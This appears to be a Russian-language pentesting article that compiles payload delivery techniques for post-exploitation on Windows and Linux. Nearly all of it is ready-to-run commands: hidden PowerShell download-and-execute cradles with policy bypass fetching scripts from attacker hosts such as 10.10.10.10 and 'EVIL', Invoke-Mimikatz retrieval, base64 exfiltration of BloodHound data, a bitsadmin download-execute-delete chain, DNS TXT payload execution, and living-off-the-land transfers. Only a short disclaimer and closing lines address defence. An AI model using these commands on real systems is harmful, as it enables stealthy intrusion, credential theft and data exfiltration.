Всем большой привет!
Этой статейкой делаю заметку всех собранных и используемых техник доставки нагрузок до тестируемого ПК/Сервера. Это очень важный и парой один из самых важных шагов в постэксплуатации.
Дисклеймер: Данная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.
Методы доставки сплоита могут быть различными в зависимости от того, на какой ОС расположен активный сервис, какое антивирусное ПО использует, есть ли WAF и мн.др. Уже несколько лет самым ужасным, как лично я считаю, методом является доставка «безтельной» нагрузки. Это нагрузка которая не сохраняется на жесткий диск атакуемого, а исполняется сразу в памяти и относится к ОС Windows. Как правило такую нагрузку можно дополнить различными методами абфускации кода или прибегнуть к техникам обхода антивирусов и тогда наш подопытный обнаружит ее через очень длительное время и будет она жить в памяти до перезагрузки.
Итак, разобьем техники по сервисам или приложениям:
Powershell
My Favor
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.10.10:80/a'))"
c:\wIndOwS\SYSTeM32\WinDOWsPoweRShElL\V1.0\pOweRsHeLl.EXE -nOP -Ep BypAsS -w hiDdEn -c "IEX ((new-object net.webclient).downloadstring('http://10.10.10.10:80/a'))"
powershell proxy authentication
$Client = New-Object -TypeName System.Net.WebClient
$Client.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX (iwr 'https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
Invoke-WebRequest / Invoke-RestMethod
Invoke-WebRequest "http://10.10.10.10/mimikatz.exe" -OutFile "C:\Users\Public\mimikatz.exe"
Invoke-RestMethod "http://10.10.10.10/mimikatz.exe" -OutFile "C:\Users\Public\mimikatz.exe"
Invoke-WebRequest / Invoke-RestMethod POST base64 data
nc -lvnp 443
$Base64String = [System.convert]::ToBase64String((Get-Content -Path 'c:/temp/BloodHound.zip' -Encoding Byte)) Invoke-WebRequest -Uri http://10.10.10.10:443 -Method POST -Body $Base64String
echo <base64> | base64 -d -w 0 > bloodhound.zip
base64 encode
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\TEMP\admin.kirbi"))
base64 decode
[IO.File]::WriteAllBytes("admin.kirbi", [Convert]::FromBase64String("<base64>"))
download cradles
Powershell 3.0+ download and execute (bypass IE firstrun check)
IEX (iwr 'https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1' -UseBasicParsing)
Powershell (any version)
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')"
(New-Object System.Net.WebClient).DownloadFile("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1", "C:\Users\Public\Invoke-Mimikatz.ps1")
Hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
Msxml2.XMLHTTP COM object
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
WinHttp COM object
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
Bitstransfer
Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r
// DNS TXT approach from PowerBreach https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)
// code to execute needs to be a base64 encoded string stored in a TXT record
IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))
Bitsadmin
bitsadmin.exe /transfer n https://gist.githubusercontent.com/egre55/816ddb91016034dcf747f4ea5f054767/raw/69da838fdfd74811060aabfe1f66c8cd0d058daf/procmon.ps1 C:\Users\Public\Music\procmon.ps1
cmd.exe /c bitsadmin /transfer 2be7 http://10.10.10.10:80/ %APPDATA%\2be7.exe&%APPDATA%\2be7.exe&del %APPDATA%\2be7.exe
scp / pscp
pscp.exe C:\Users\Public\info.txt user@target:/tmp/info.txt
pscp.exe user@target:/home/user/secret.txt C:\Users\Public\secret.txt
Certutil
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1
certutil.exe -verifyctl -split -f https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1
Base64
cat binary | base64 -w 0
echo <base64> | base64 -d > binary
certutil.exe base64
certutil.exe -encode mimikatz.exe mimikatz.txt
certutil.exe -decode mimikatz.txt mimikatz.exe
openssl base64
openssl.exe enc -base64 -in mimikatz.exe -out mimikatz.txt
openssl.exe enc -base64 -d -in mimikatz.txt -out mimikatz.exe
WebDAV downloaders
makecab.exe
C:\Windows\System32\makecab.exe \\10.10.10.10\share\nmap.zip C:\Users\Public\nmap.cab
esentutl.exe
C:\Windows\System32\esentutl.exe /y "\\10.10.10.10\share\mimikatz_trunk.zip" /d"C:\Users\Public\mimikatz_trunk.zip" /o
extrac32.exe
C:\Windows\System32\extrac32.exe /Y /C \\10.10.10.10\share\secret.txt C:\Users\Public\secret.txt
print.exe
C:\Windows\System32\print.exe /D c:\TEMP\ADExplorer.exe \\live.sysinternals.com\tools\ADExplorer.exe
Netcat
nc -nlvp 8000 > mimikatz.exe
nc -nv 10.10.10.10 8000 </tmp/mimikatz.exe
Openssl
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/mimikatz.exe
openssl s_client -connect 10.10.10.10:80 -quiet > mimikatz.exe
web browser / server
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -run -ehttpd . -p80
php -S 0.0.0.0:80
socat TCP-LISTEN:80,reuseaddr,fork
Wget
wget http://10.10.10.10:80/info.txt -O /tmp/info.txt
Curl
curl -o /tmp/info.txt http://10.10.10.10:80/info.txt
Rdesktop
rdesktop 10.10.10.10 -r disk:linux='/home/user/rdesktop/files'
SMB
smbclient //10.10.10.10/share -U username -W domain
net use Q: \\10.10.10.10\share
xcopy \\10.10.10.10\share\mimikatz.exe mimikatz.exe
pushd \\10.10.10.10\share
mklink /D share \\10.10.10.10\share
FTP
ftp -s:script.txt
open 10.10.10.10
anonymous
anonymous
lcd c:\uploads
get info.txt
quit
TFTP
tftp -i 10.10.10.10 get mimikatz.exe
Так же можно упомянуть доставку средствами доверенных вэб-сервисов и почтовую корреспонденцию, но эта тема отдельной статьи.
!Помните, нет таких программных и аппаратных средств защиты которые не обходятся.
!Не существует «волшебных железок», купив которые Вы будете защищены на 100%.
Администраторы и безопасники должны знать эти методы для предотвращения атак по заливке исполняемых файлов.
Контроль запуска приложений только из «белого списка», средства контроля изменений целостности, настроенные и не громоздкие SIEM системы — это именно те средства, которые помогут Вам быть чуточку безопаснее.